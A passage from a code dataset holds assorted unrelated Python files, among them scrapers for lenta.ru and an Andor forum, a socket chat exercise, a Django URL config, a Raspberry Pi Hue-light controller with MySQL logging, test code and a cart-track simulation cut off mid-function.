= open(\"newFile.txt\", \"r\")\ntext = f.readline()\nf.close\nprint(text) # 첫번째 줄만 반환됨\n# f.readline() 함수를 이용해 전체를 출력하려면 while, for 반복문을 사용하면 됨\nf = open(\"newFile.txt\", \"r\")\nwhile 1: # 무한반복 설정\n a = f.readline()\n if not a: # a 값에 None 값이 들어갈 때까지 출력\n break\n print(a)\n\n# 파일 읽기3 (리스트로 결과값을 반환) : f.readlines() r\nf = open(\"newFile.txt\", \"r\")\ntext = f.readlines()\nf.close\nprint(text)\n","sub_path":"back_python_3_dataprocess1/1_python_matplotlib1/3.py","file_name":"3.py","file_ext":"py","file_size_in_byte":2695,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"67392156","text":"# Visualization Util\n\nimport matplotlib.pyplot as plt\nfrom wordcloud import WordCloud, STOPWORDS\nfrom utils.constants import *\n\n\ndef word_cloud_visulization(df_column, description, stopword=True):\n \"\"\"\n Word Cloud Visualization\n :param df_column:\n :param description:\n :param stopword:\n :return:\n \"\"\"\n comment_words = ''\n stopwords = ''\n if stopword:\n stopwords = set(STOPWORDS)\n\n # iterate through the csv file\n for val in df_column:\n\n # typecaste each val to string\n val = str(val)\n\n # split the value\n tokens = val.split()\n\n # Converts each token into lowercase\n for i in range(len(tokens)):\n tokens[i] = tokens[i].lower()\n\n comment_words += \" \".join(tokens) + \" \"\n\n wordcloud = WordCloud(width=300, height=300,\n background_color='white',\n stopwords=stopwords,\n min_font_size=10).generate(comment_words)\n\n # plot the WordCloud image\n plt.figure(figsize=(15, 15))\n plt.title(\"WordCloud of {} column\".format(description), fontdict=TITLE_FONT)\n plt.imshow(wordcloud, interpolation=\"bilinear\")\n plt.axis(\"off\")\n plt.show()\n","sub_path":"utils/visualization.py","file_name":"visualization.py","file_ext":"py","file_size_in_byte":1221,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"529382524","text":"\"\"\"\n\n--- Exercise statement: N°22 - Walkie-Talkie\n\nEscribir dos programas que interactúen entre si como si fuesen clientes peer-to-peer. El funcionamiento será el\nsiguiente:\n\nLlamemos Alice al primer programa en ejecutarse, y Bob al segundo.\n\nAlice quedará escuchando un texto desde el otro programa.\n\nBob permitirá al usuario escribir por entrada estándar un mensaje. Al dar enter se enviará dicho mensaje a Alice,\nque lo mostrará por pantalla. Este paso se repetirá hasta que Bob envíe un mensaje con el texto “cambio”. En ese\nmomento Bob comenzará a escuchar desde el proceso Alice.\n\nAlice al recibir la palabra “cambio”, permitirá al usuario escribir texto por línea de comandos. Al dar enter los\nmensajes viajarán hasta Bob, que los mostrará por pantalla. Cuando Alice envíe un texto “cambio”, se invertirá\nnuevamente la secuencia.\n\nCuando cualquiera de los dos procesos envíe “exit” terminarán ambos.\n\nUtilice Sockets Inet Stream para comunicar ambos procesos.\n\ntag: walkie\n\n\"\"\"\n\nimport socket\nimport sys\nimport getopt\nimport time\n\n\ndef send(server_sock):\n goodbye = \"over and out\"\n while True:\n msg = input(\"\\nMessage to Alice: \")\n if msg.lower() == goodbye:\n server_sock.send(msg.encode())\n time.sleep(2)\n break\n else:\n server_sock.send(msg.encode())\n while True:\n data = server_sock.recv(1024).decode()\n if data.lower() != goodbye:\n print(f\"\\n>>> Alice says: {data}\")\n else:\n print(f\"\\n>>> Alice says: {data}\")\n time.sleep(2)\n break\n\n\ndef walkie_talkie(server_socket):\n while True:\n send(server_socket)\n\n\nif __name__ == '__main__':\n\n if len(sys.argv[1:]) <= 1:\n print(\"Usage:\\n python3 exercise22_bob.py -p \")\n else:\n host = \"\"\n port = 0\n\n (option, value) = getopt.getopt(sys.argv[1:], \"p:\")\n for (opt, val) in option:\n if opt == \"-p\":\n port = int(val)\n try:\n s_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n except socket.error:\n print('Failed to create socket')\n sys.exit()\n\n s_socket.connect((host, port))\n\n walkie_talkie(s_socket)\n","sub_path":"exercises/exercise22_bob.py","file_name":"exercise22_bob.py","file_ext":"py","file_size_in_byte":2277,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"32932288","text":"import requests, bs4, re\n\nlogin = \"\"\nheslo = \"\"\njaskynaUrl = \"https://www.andor.cz/jeskyne/index.php?action=view&idJeskyne=18328\"\ntag = 'font color=\"gold\"' # tag ktory sa bude vyhladavat\n\nprispevkovNaStranku = 40 # default nastavenie kolko prispevkov v jaskyni na stranu zobrazujete\n\npouzitPostavu = False # True ak chcete pouzit postavu\npostavaId = \"115493/*/18328\" # ak chcete vyberat postavu\n\n\n\ndef vyberPostavu(session, postavaId):\n postava = {\"idckoPostavy\": postavaId}\n\n session.post(\"https://www.andor.cz/postava/switchpersons.php\", data=postava)\n\ndef main():\n loginInfo = {\n 'jmeno': login,\n 'kodename': heslo\n }\n prispevky = []\n goldPattern = re.compile(r'{}'.format(tag))\n\n\n with requests.Session() as session:\n res = session.post(\"https://www.andor.cz/login.php\", data=loginInfo)\n\n if pouzitPostavu:\n vyberPostavu(session, postavaId)\n\n jeskyn = session.get(jaskynaUrl)\n andor = bs4.BeautifulSoup(jeskyn.text, \"html.parser\")\n\n getPrispevkyCountPattern = re.compile(r'(\\d+)')\n\n prispevkyCount = int(re.search(getPrispevkyCountPattern, andor.find(\"div\", id=\"pocetPrispevku\").text).group(1))\n print(\"Prispevkov spolu: \", prispevkyCount)\n\n # print(andor.find(\"div\", id=\"formularPrispevek\"))\n\n i = 0\n while i * prispevkovNaStranku < prispevkyCount:\n\n strankaJeskyneUrl = jaskynaUrl + \"&from={}&page=1\".format(prispevkovNaStranku * i)\n strankaJeskyne = session.get(strankaJeskyneUrl)\n\n for prispevok in bs4.BeautifulSoup(strankaJeskyne.text, \"html.parser\").find_all(\"table\", class_=\"prispevek\" ):\n if re.search(goldPattern, str(prispevok)) is not None:\n prispevky.append(prispevok)\n\n i += 1\n\n print(\"Prispevkov s danym tagom: \", len(prispevky))\n\n with open(\"filtrovane_prispevky.html\", \"w\") as f:\n\n f.write(\"\")\n\n with open(\"head.txt\") as head:\n f.writelines(head.readlines())\n\n\n f.write(\"\")\n\n for prispevok in prispevky:\n f.write(str(prispevok))\n\n f.write(\"\")\n\n f.write(\"\")\n\n\nprint(\"Andor prispevky stahovac a filtrovac\")\nprint(\"Nič nie je garantované\")\nprint(\"Chybne zadaný vstup pravdepodobne spôsobí pád programu\")\n\nmain()\n","sub_path":"postFilter/prispevkyGetter.py","file_name":"prispevkyGetter.py","file_ext":"py","file_size_in_byte":2330,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"602971119","text":"\"\"\"Proj URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/2.2/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: path('', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.urls import include, path\n 2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))\n\"\"\"\nfrom django.contrib import admin\nfrom django.urls import path, re_path\nfrom django.views.static import serve\n\nfrom Proj import settings\nfrom app1 import views\n\nurlpatterns = [\n path('admin/', admin.site.urls),\n path('get_valid_image/', views.get_valid_image), # 获取图形验证码\n path('login/', views.login), # 登录\n path('register/', views.register), # 注册\n path('index/', views.index), # 首页\n path(\"updatecode/\",views.updatecode), #修改密码\n re_path(r'staff/(?P.*)$', views.staff),\n re_path(r'administrator/(?P.*)$', views.administrator),\n re_path(r'firm/(?P.*)$', views.firm),\n re_path(r'media/(?P.*)$', serve, {\"document_root\": settings.MEDIA_ROOT}), # 获取media资源\n # re_path(r'static/(?P.*)$', serve, {\"document_root\": settings.STATIC_ROOT}), # 获取static资源\n\n path('logout/', views.logout),\n path(\"introduce/\",views.introduce)\n\n]\n","sub_path":"Proj/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1577,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"648970894","text":"\n\ndef computeMeanRating(filename):\n ratings = []\n\n try:\n f = open('../ml-latest-small/' + filename, 'r')\n except:\n print('File couldnt be read or found')\n raise\n finally:\n for line in f:\n columns = line.split(\",\")\n if columns[2] != \"rating\":\n ratings.append(float((columns[2])))\n\n f.close()\n\n n = len(ratings)\n # sorting for median\n ratings.sort()\n\n # calculating Arithmetic Mean\n mean = calcArithmeticMean(ratings, n)\n\n # calculating Median\n\n median = calcMedian(ratings, n)\n\n # calculating mode\n mode = calcMode(ratings)\n\n return mean, median, mode\n\ndef calcMode(ratings):\n #Creating an Map where the amount of each number will be stored\n numCount = {}\n highestNum = 0\n\n #Fill the Map with the numbers which appear in the List\n for i in ratings:\n #if the number already appears in the list count up\n if i in numCount.keys():\n numCount[i] += 1\n #else add the new number to the map\n else:\n numCount[i] = 1\n\n #check which number appears most often\n for i in numCount.keys():\n if numCount[i] > highestNum:\n highestNum = numCount[i]\n mode = i\n if highestNum != 1:\n return mode\n #case if every number only appears once\n elif highestNum == 1:\n print(\"All numbers in the list appear once.\")\n return -1\n\ndef calcMedian(ratings, n):\n\n # calculating the median\n if n % 2 != 0:\n median = ratings[int(n / 2)]\n else:\n # case when the len of the data is even.\n median = float((ratings[int((n - 1) / 2)] + ratings[int(n / 2)]) / 2.0)\n return median\n\ndef calcArithmeticMean(ratings, n):\n sum = 0\n for i in ratings:\n sum += i\n ## calculating arithmetic mean\n average = sum / n\n # round arithmetic to 5 digits\n average = round(average, 5)\n return average\n\n\nif __name__ == '__main__':\n print (computeMeanRating(\"ratings.csv\"))\n","sub_path":"assignment1/src/statistic.py","file_name":"statistic.py","file_ext":"py","file_size_in_byte":2204,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"264852721","text":"from typing import Type, Optional\n\nimport pytest\nfrom nonebug import App\n\n\n@pytest.mark.asyncio\nasync def test_on(app: App, load_plugin):\n import nonebot\n import plugins.plugin.matchers as module\n from nonebot.typing import T_RuleChecker\n from nonebot.matcher import Matcher, matchers\n from nonebot.rule import (\n RegexRule,\n IsTypeRule,\n CommandRule,\n EndswithRule,\n KeywordsRule,\n FullmatchRule,\n StartswithRule,\n ShellCommandRule,\n )\n from plugins.plugin.matchers import (\n TestEvent,\n rule,\n state,\n handler,\n priority,\n matcher_on,\n permission,\n expire_time,\n matcher_on_type,\n matcher_sub_cmd,\n matcher_group_on,\n matcher_on_regex,\n matcher_on_notice,\n matcher_on_command,\n matcher_on_keyword,\n matcher_on_message,\n matcher_on_request,\n matcher_on_endswith,\n matcher_on_fullmatch,\n matcher_on_metaevent,\n matcher_group_on_type,\n matcher_on_startswith,\n matcher_sub_shell_cmd,\n matcher_group_on_regex,\n matcher_group_on_notice,\n matcher_group_on_command,\n matcher_group_on_keyword,\n matcher_group_on_message,\n matcher_group_on_request,\n matcher_on_shell_command,\n matcher_group_on_endswith,\n matcher_group_on_fullmatch,\n matcher_group_on_metaevent,\n matcher_group_on_startswith,\n matcher_group_on_shell_command,\n )\n\n plugin = nonebot.get_plugin(\"plugin\")\n\n def _check(\n matcher: Type[Matcher],\n pre_rule: Optional[T_RuleChecker],\n has_permission: bool,\n ):\n assert {dependent.call for dependent in matcher.rule.checkers} == (\n {pre_rule, rule} if pre_rule else {rule}\n )\n if has_permission:\n assert {dependent.call for dependent in matcher.permission.checkers} == {\n permission\n }\n else:\n assert not matcher.permission.checkers\n assert [dependent.call for dependent in matcher.handlers] == [handler]\n assert matcher.temp is True\n assert matcher.expire_time == expire_time\n assert matcher in matchers[priority]\n assert matcher.block is True\n assert matcher._default_state == state\n\n assert matcher.plugin is plugin\n assert matcher.module is module\n assert matcher.plugin_name == \"plugin\"\n assert matcher.module_name == \"plugins.plugin.matchers\"\n\n _check(matcher_on, None, True)\n _check(matcher_on_metaevent, None, False)\n _check(matcher_on_message, None, True)\n _check(matcher_on_notice, None, False)\n _check(matcher_on_request, None, False)\n _check(matcher_on_startswith, StartswithRule((\"test\",)), True)\n _check(matcher_on_endswith, EndswithRule((\"test\",)), True)\n _check(matcher_on_fullmatch, FullmatchRule((\"test\",)), True)\n _check(matcher_on_keyword, KeywordsRule(\"test\"), True)\n _check(matcher_on_command, CommandRule([(\"test\",)]), True)\n _check(matcher_on_shell_command, ShellCommandRule([(\"test\",)], None), True)\n _check(matcher_on_regex, RegexRule(\"test\"), True)\n _check(matcher_on_type, IsTypeRule(TestEvent), True)\n _check(matcher_sub_cmd, CommandRule([(\"test\", \"sub\")]), True)\n _check(matcher_sub_shell_cmd, ShellCommandRule([(\"test\", \"sub\")], None), True)\n _check(matcher_group_on, None, True)\n _check(matcher_group_on_metaevent, None, False)\n _check(matcher_group_on_message, None, True)\n _check(matcher_group_on_notice, None, False)\n _check(matcher_group_on_request, None, False)\n _check(matcher_group_on_startswith, StartswithRule((\"test\",)), True)\n _check(matcher_group_on_endswith, EndswithRule((\"test\",)), True)\n _check(matcher_group_on_fullmatch, FullmatchRule((\"test\",)), True)\n _check(matcher_group_on_keyword, KeywordsRule(\"test\"), True)\n _check(matcher_group_on_command, CommandRule([(\"test\",)]), True)\n _check(matcher_group_on_shell_command, ShellCommandRule([(\"test\",)], None), True)\n _check(matcher_group_on_regex, RegexRule(\"test\"), True)\n _check(matcher_group_on_type, IsTypeRule(TestEvent), True)\n","sub_path":"tests/test_plugin/test_on.py","file_name":"test_on.py","file_ext":"py","file_size_in_byte":4227,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"570496013","text":"#!/usr/bin/env python3\nimport codecs\nf_input = open('data.txt','r')\n\n# FOR SMALL FILES:\ncount = len(f_input.readlines())\nf_input.seek(0)\n\n# IF THE FILE IS TOO LARGE:\n#count = -1\n#for count, line in enumerate(codecs.open('data.txt','rU','utf-8')):\n# pass\n#count += 1\n#print(count)\n\n# FOR WINDOWS FILES:\n#count = 0\n#input_file = codecs.open('data.txt','rb','utf-8')\n#while (True):\n# buffer = input_file.read(8192*1024)\n# if not buffer:\n# break\n# count += buffer.count('\\n')\n#count += 1\n#input_file.close()\n#print(count)\n","sub_path":"calc_lines.py","file_name":"calc_lines.py","file_ext":"py","file_size_in_byte":525,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"58848460","text":"import requests\nfrom bs4 import BeautifulSoup\nfrom collections import Counter\nimport itertools\nimport string\nimport csv\n\ncategories = [\n 'russia', \n 'world', \n 'economics', \n 'forces', \n 'science', \n 'culture', \n 'sport', \n 'media', \n 'travel'\n ]\n\ndef get_html(url):\n html_links = {}\n for category in categories:\n url1 = url+'/rubrics/'+category\n print(url1)\n html_page_link = requests.get(url1)\n print('debug2')\n html_page = html_page_link.text\n soup = BeautifulSoup(html_page, 'html.parser')\n print('debug3')\n all_news = soup.find_all('div', class_='item')\n print('debug4')\n links = []\n for new in all_news[0:9]:\n url2 = new.a.get('href')\n links.append(url+url2)\n html_links[category] = links\n return html_links\n\ndef get_lenta_news(link):\n html_single_new_page = requests.get(link).text\n soup = BeautifulSoup(html_single_new_page, 'html.parser')\n all_news = soup.find_all('p')\n news_words_list = []\n for new in all_news:\n s = str(new.text).lower()\n a1 = s.translate(str.maketrans('', '', r\"\"\"!\"#$%&'()*+,-./:;<=>?@[\\]^_`{|}~»«0123456789—\"\"\")).split()\n for element in a1:\n news_words_list.append(element)\n return news_words_list\n\nhtml1 = get_html(\"https://lenta.ru\")\n\nfor category, links in html1.items():\n name_file = category+'.csv'\n # print(name_file)\n category_words_list = []\n for link in links:\n words_in_text = get_lenta_news(link)\n category_words_list.extend(words_in_text)\n # print(category_words_list)\n category_words_list_iterabled = list(itertools.chain(category_words_list))\n # print(category_words_list_iterabled)\n counts = Counter(category_words_list)\n counts_20_max = counts.most_common(20)\n # print(category, counts_20_max)\n \n with open(name_file, \"w\", newline=\"\") as f:\n writer = csv.writer(f)\n writer.writerows(counts_20_max)\n\n\n \n \n ","sub_path":"lenta.py","file_name":"lenta.py","file_ext":"py","file_size_in_byte":2076,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"543250528","text":"import heapq\n\ndef solution(scoville, K):\n answer = 0\n num = 0\n heapq.heapify(scoville)\n while (scoville[0] 页数\n :param page_size: 一页返回多少条记录\n :param order: 排序\n :param ignores: 忽略的字段\n :param kwargs: title/url/admin/client_ip/log_type/error/start_time/end_time\n log_type 默认 0; error 默认 -1, start_time/end_time 格式yyyy-mm-dd\n '''\n query = self._query(kwargs)\n query = tuple(query) or None\n data = self.find_all(query=query, order=order,\n ignores=ignores, fmt=False)\n return self.pager(data, page=page, page_size=page_size, **kwargs)\n\nadmin_log_serv = AdminLogService()\n","sub_path":"core/service/serv_admin_log.py","file_name":"serv_admin_log.py","file_ext":"py","file_size_in_byte":2059,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"302383981","text":"# Import RPi.GPIO to use the GPIO pins\nimport RPi.GPIO as GPIO\n# Import time to enable sleeping\nimport time\n# Import reqests to communicate with the Hue API and\n# json to do JSON stuff\nimport requests, json\n# Import os to get the programs PID\n# , signal to catch SIGTERM and sys to exit Python\nimport os, signal, sys\n# Import PyMysql to do Mysql stuff\nimport pymysql\n# Import logging to do logging\nimport logging\n# Import argv from sys to handle arguments passed \n# to the program\nfrom sys import argv\n\n# Set some basic configuration of the logging\n##\n# format='%(asctime)s %(levelname)s:%(message)s' sets the format \n# of the log message.\n# In this case it is '[time] [message loglevel]:[message]\n# datefmt='%d/%m/%Y %H:%M:%S' sets the format of the timestamp\n# In this case it is day, month (as a number), \n# year (as a four digit number), space, hour (24-hour clock), seconds\n##\n# filename='pirHueLog.log' sets the filename of the logging file\n##\n# Additional parameter level=logging.DEBUG sets the logging level\n# (default is WARNING)\n# Available logging levels are (in ascending order) DEBUG, INFO\n# , WARNING, ERROR, CRITICAL\n# Additional parameter filemode='w' sets the filemode.\n# w means overwrite. Default is append\nif len( sys.argv ) == 1:\n loggingLevel = \"CRITICAL\"\nelse:\n scriptName, loggingLevel = argv\nnumericLogLevel = getattr( logging, loggingLevel.upper(), None )\nif not isinstance( numericLogLevel, int ):\n raise ValueError( \"Invalid log level: {0}\".format( loggingLevel ) )\nlogging.basicConfig( \n format='%(asctime)s %(levelname)s %(message)s'\n , datefmt='%d/%m/%Y %H:%M:%S'\n , filename='pirHueLog.log'\n , level=numericLogLevel\n , filemode='w' )\n\n# The number of the pin that the input is connected to\nsensor = 4\n\n# Set the mode that is used to count the pins on the board\nGPIO.setmode( GPIO.BCM )\n# Initialize the pin as an input pin. \n# Set the starting state to DOWN (false)\nGPIO.setup( sensor, GPIO.IN, GPIO.PUD_DOWN )\n\n# Fetch config details from file \ntry:\n with open( \"config.json\", \"r\" ) as configFile:\n # usersDict is now a dictionary with a list with a dictonary\n configData = json.load( configFile )\nexcept FileNotFoundError as err:\n print( \"File not found.\\n Error message: {0}\".format( err ) )\n\n# Assign config variables\ndbHost = configData[\"mysql\"][\"host\"]\ndbUser = configData[\"mysql\"][\"user\"]\ndbPassword = configData[\"mysql\"][\"password\"]\ndbDatabase = configData[\"mysql\"][\"database\"]\nhueUser = configData[\"hue\"][\"userID\"]\nhueIp = \"192.168.1.100\"\nhueApi = \"http://\" + hueIp + \"/api/\" + hueUser\n\n# Logging the config variables\nlogging.debug( \"dbHost = {0}\".format( dbHost ) )\nlogging.debug( \"dbUser = {0}\".format( dbUser ) )\nlogging.debug( \"dbPassword = {0}\".format( \"[REDACTED]\" ) )\nlogging.debug( \"dbDatabase = {0}\".format( dbDatabase ) )\nlogging.debug( \"hueUser = {0}\".format( hueUser ) )\nlogging.debug( \"hueIp = {0}\".format( hueIp ) )\nlogging.debug( \"hueApi = {0}\".format( hueApi ) )\n\n### PyMysql\ndef insertIntoTable( eventText ):\n \"\"\"\n Inserts a row into the database table PIRHUELOG.\n Writes parameter eventText to the DB-column EVENT.\n \"\"\"\n global dbUser, dbHost, dbPassword, dbDatabase\n connection = pymysql.connect( \n host = dbHost, user = dbUser\n , password = dbPassword\n , db = dbDatabase )\n with connection.cursor() as cursor:\n sql = \"insert into pirHueLog ( event ) values ( %s )\"\n cursor.execute( sql, ( eventText ) )\n connection.commit()\n connection.close()\n###\n\ndef terminateReceived( signalnumber, stackFrame ):\n \"\"\"\n When a termination signal is received (through kill),\n this function makes sure the program cleans up after itself\n \"\"\"\n logging.debug( \"Cleaning up GPIO\" )\n GPIO.cleanup()\n # Deletes the PID file\n logging.debug( \"Deleting the pid file\" )\n os.unlink( \"pid.txt\" )\n # Exits Python\n logging.debug( \"Exiting Python\" )\n sys.exit(0)\n return\n\n# Set the handler that is called when SIGTERM is received\nsignal.signal( signal.SIGTERM, terminateReceived )\n\n# Write PID to file. Can only write string, not int\npid = str( os.getpid() )\nlogging.debug( \"Writing PID to file. PID is {0}\".format( pid ) )\nwith open( \"pid.txt\", \"w\" ) as pidFile:\n pidFile.write( pid )\n\ndef waitForRise( waitingTime ):\n \"\"\"\n Waits for a rising edge\n Returns True if a rising edge is detected, False otherwise\n Parameter waitingTime defines how many milliseconds the\n function waits before timing out\n \"\"\"\n global sensor\n # A channel can only have one event detection.\n # Need to remove the original one so that I can add one that\n # waits for rising edges\n # This event detection is only used in this function\n GPIO.remove_event_detect( sensor )\n # Waits for a rising edge.\n # Times out after [waitingTime] milliseconds\n waiting = GPIO.wait_for_edge( \n sensor, GPIO.BOTH\n , timeout = waitingTime )\n if waiting is None: # wait_for_edge returns None if it times out\n # Removes the temporary event detection\n GPIO.remove_event_detect( sensor )\n # Adds event detection for both rising and falling edges\n GPIO.add_event_detect( \n sensor\n , GPIO.BOTH\n , callback = callbackFunc )\n return False # No new rising edge detected\n else:\n GPIO.remove_event_detect( sensor )\n GPIO.add_event_detect( \n sensor\n , GPIO.BOTH\n , callback = callbackFunc )\n return True # Rising edge detected\n\ndef getHueState():\n \"\"\"\n Returns the current state of the light;\n True if on, False otherwise\n \"\"\"\n logging.debug( \"Getting light state\" )\n hueResponse = requests.get( hueApi + \"/lights/5/\" )\n hueState = hueResponse.json()['state']['on']\n return hueState\n\ndef callbackFunc( sensor ):\n \"\"\"\n Callback function, is called whenever an edge is detected\n \"\"\"\n # Movement and light is off\n if GPIO.input( sensor ) and not getHueState():\n logging.debug( \"Movement detected while the light is off\" )\n logging.debug( \"Turning the light on\" )\n putResponse = requests.put( \n hueApi + \"/lights/5/state\", '{ \"on\": true }' )\n insertIntoTable( 'Light on' )\n # No movement and light is on\n elif not GPIO.input( sensor ) and getHueState():\n if waitForRise( 600000 ):\n # If the light has been turned off externally,\n # I need to turn it back on\n callbackFunc( sensor )\n else:\n logging.debug( \"Turning the light off\" )\n putResponse = requests.put( \n hueApi + \"/lights/5/state\", '{ \"on\": false }' )\n insertIntoTable( 'Light off' )\n\n# Add event detect with callback\nGPIO.add_event_detect( sensor, GPIO.BOTH, callback = callbackFunc )\n\n# Infinite loop. Does nothing\nlogging.info( \"Starting\" )\nwhile 1:\n time.sleep( 1 )\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":6901,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"546881127","text":"# Refer: https://blog.csdn.net/a19990412/article/details/105940446\n# pip install piexif -i https://pypi.tuna.tsinghua.edu.cn/simple/\n#step1: 遍历所有图片，筛选有问题的\nimport os\nfrom PIL import Image\nimport cv2\nimport warnings\n\nwarnings.filterwarnings('error')\n\nroot = './train'\n\nf1 = open('pExifError.txt', 'w')\nf2 = open('rgbaError.txt', 'w')\nf3 = open('ExifError.txt', 'w')\nf4 = open('4chImg.txt', 'w')\nf5 = open('WebpError.txt', 'w')\nf6 = open('UnknownError.txt', 'w')\n\nidx = 0\nfor r, d, files in os.walk(root):\n if files != []:\n for i in files:\n fp = os.path.join(r, i)\n try:\n img = Image.open(fp)\n if (len(img.split()) != 3):\n # print('4CH:', fp)\n f4.write('{}\\n'.format(fp))\n\n except Exception as e:\n print('Error:', str(e))\n print(fp)\n if 'Possibly corrupt EXIF data' in str(e):\n print('Exif error')\n f1.write('{}\\n'.format(fp))\n elif 'Palette images with Transparency' in str(e):\n print('rgba error')\n f2.write('{}\\n'.format(fp))\n elif 'Corrupt EXIF data' in str(e):\n print('pExif error')\n f3.write('{}\\n'.format(fp))\n elif 'image file could not be identified because WEBP' in str(e):\n print('Webp error')\n f5.write('{}\\n'.format(fp))\n else:\n print('Unknown error')\n f6.write('{}\\n'.format(fp))\n\n if idx % 5000 == 0:\n print('=' * 20, idx)\n\n idx += 1\n\nf1.close()\nf2.close()\nf3.close()\nf4.close()\nf5.close()\nf6.close()\n\n","sub_path":"data/data_clean1.py","file_name":"data_clean1.py","file_ext":"py","file_size_in_byte":1783,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"524157732","text":"import unittest\n\n\ndef input_file():\n # return the input_test file in a text\n file = open('input', 'r')\n lines = [line.rstrip('\\n') for line in file]\n file.close()\n return lines\n\n\ndef output_file():\n # read line of output_1 file\n file = open('output', 'r')\n res = file.read()\n file.close()\n return res\n\n\nclass Cart:\n \"\"\"\n A cart is represented by his coordonate and his direction,\n its moves are specific during an intersection.\n \"\"\"\n def __init__(self, y, x, direction, map, per_intersection_memory=0):\n \"\"\"\n\n :param y: the coordonate y from 0 to n to the down\n :param x: the coordonate x from 0 to n to the right\n :param direction: the direction representing as a pick of an arrow\n \"\"\"\n self.y = y\n self.x = x\n self.direction = direction\n self.map = map\n self.per_intersection_memory = per_intersection_memory\n\n def get_direction(self):\n \"\"\"\n This function is useful to get that attribute\n :return: direction of the cart to know where it will go\n \"\"\"\n return self.direction\n\n def get_per_intersection_memory(self):\n # get the current intersection memory\n return self.per_intersection_memory\n\n def get_position_yx(self):\n \"\"\"\n Get the position of the cart\n :return: the position y x of the current cart\n \"\"\"\n return self.y, self.x\n\n def go_east(self):\n \"\"\"\n This function permit us to the move the at the right\n \"\"\"\n self.x += 1\n\n def go_north(self):\n \"\"\"\n This function permit us to move the cart up\n \"\"\"\n self.y -= 1\n\n def go_west(self):\n \"\"\"\n This function permit us to the move the at the left\n \"\"\"\n self.x -= 1\n\n def go_south(self):\n \"\"\"\n This function permit us to move the cart down\n \"\"\"\n self.y += 1\n\n def direction_south(self):\n self.direction = \"v\"\n\n def direction_east(self):\n self.direction = \">\"\n\n def direction_north(self):\n self.direction = \"^\"\n\n def direction_west(self):\n self.direction = \"<\"\n\n def go_right(self):\n current_direction = self.get_direction()\n if current_direction == \">\":\n self.direction_south()\n elif current_direction == \"^\":\n self.direction_east()\n elif current_direction == \"<\":\n self.direction_north()\n else:\n self.direction_west()\n\n def go_straight(self):\n # nothing to change\n pass\n\n def go_left(self):\n current_direction = self.get_direction()\n if current_direction == \">\":\n self.direction_north()\n elif current_direction == \"^\":\n self.direction_west()\n elif current_direction == \"<\":\n self.direction_south()\n else:\n self.direction_east()\n\n def incr_per_intersection_memory(self):\n self.per_intersection_memory = (self.per_intersection_memory + 1) % 3\n\n def update_direction(self):\n \"\"\"\n This function permits to update the direction using the current case\n \"\"\"\n next_case_coord = self.y, self.x\n next_case = self.map[next_case_coord[0]][next_case_coord[1]]\n direction = self.get_direction()\n if next_case == \"+\":\n if self.per_intersection_memory == 0:\n self.go_left()\n elif self.per_intersection_memory == 1:\n self.go_straight()\n else:\n self.go_right()\n self.incr_per_intersection_memory()\n elif next_case == \"/\":\n if direction == \">\":\n self.direction_north()\n elif direction == \"^\":\n self.direction_east()\n elif direction == \"<\":\n self.direction_south()\n else:\n self.direction_west()\n elif next_case == \"\\\\\":\n if direction == \">\":\n self.direction_south()\n elif direction == \"^\":\n self.direction_west()\n elif direction == \"<\":\n self.direction_north()\n else:\n self.direction_east()\n\n def move(self):\n \"\"\"\n This function calculate the next position of the cart and move it\n \"\"\"\n current_direction = self.get_direction()\n if current_direction == \">\":\n self.go_east()\n elif current_direction == \"^\":\n self.go_north()\n elif current_direction == \"<\":\n self.go_west()\n else:\n self.go_south()\n self.update_direction()\n\n\ndef find_all_direction(line, y, direction):\n finder = False\n x = 0\n # direction\n # first iteration\n while line.find(direction, x) != -1:\n x = line.find(direction, x)\n if x == -1:\n break\n finder = y, x, direction\n x += 1\n if not finder:\n return 0\n return tuple(finder)\n\n\nclass ObjectBuilder:\n \"\"\"\n Builder to instanciate objects from the input_test\n \"\"\"\n def __init__(self, lines):\n self.carts = []\n self.lines = lines\n self.map = self.build_map()\n self.carts = self.build_carts()\n\n def print_carts(self):\n # print the map using the matrix map\n print(self.carts)\n\n def build_carts(self):\n # return a list of carts as (x, y, direction of cart)\n carts = []\n carts_object = []\n y = 0\n for line in self.lines:\n right_direction = find_all_direction(line, y, \">\")\n if right_direction != 0:\n carts.append(find_all_direction(line, y, \">\"))\n left_direction = find_all_direction(line, y, \"<\")\n if left_direction != 0:\n carts.append(find_all_direction(line, y, \"<\"))\n up_direction = find_all_direction(line, y, \"^\")\n if up_direction != 0:\n carts.append(find_all_direction(line, y, \"^\"))\n down_direction = find_all_direction(line, y, \"v\")\n if down_direction != 0:\n carts.append(find_all_direction(line, y, \"v\"))\n y += 1\n carts = sorted(carts)\n # browse on list of tuple\n for cart in carts:\n # create each cart object\n carts_object.append(Cart(cart[0], cart[1], cart[2], self.map))\n # remove the carts from the map\n self.remove_carts_from_map(carts_object)\n return 